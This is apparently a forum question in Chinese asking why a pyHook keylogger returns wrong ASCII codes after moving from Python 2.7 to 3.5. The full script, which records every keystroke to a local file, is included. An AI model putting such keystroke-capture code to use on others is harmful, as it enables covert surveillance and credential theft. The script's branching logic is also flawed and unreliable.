我正在尝试使用pyhook编写一个键盘记录器。下面是一段代码。 我最近从py2.7改为py3.5。迁移前代码运行正常。
迁移后我遇到错误。 每次我按下说" a"在键盘上,我得到event.Ascii为1(a = 1,b = 2,同样)而不是97(这是期望值)。 如果我插入一个断点并尝试调试模式,那么它可以正常工作。
我在Win7-64位操作系统上运行并使用anaconda分发包进行python。
import win32api
import sys
import pythoncom
import pyHook
import os
from time import strftime, sleep
# ################################################################################
filename = r"E:\myfile.txt"
if os.path.isfile(filename):
f = open(filename, 'a')
f.write(strftime("\n\n%A, %d. %B %Y %I:%M%p\n\n"))
f.close()
else:
f = open(filename, 'w')
f.write(strftime("%A, %d. %B %Y %I:%M%p\n\n"))
f.close()
def OnKeyboardEvent(event):
try:
if event.Ascii == 5:
sys.exit()
elif event.Ascii != 0 or event.Ascii != 8:
keylogs = chr(event.Ascii)
elif event.Ascii == 13 or event.Ascii == 9:
keylogs = keylogs + '\n'
else:
pass
# write to a file
f = open(filename, 'a')
f.write(keylogs)
f.close()
except UnboundLocalError:
pass
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()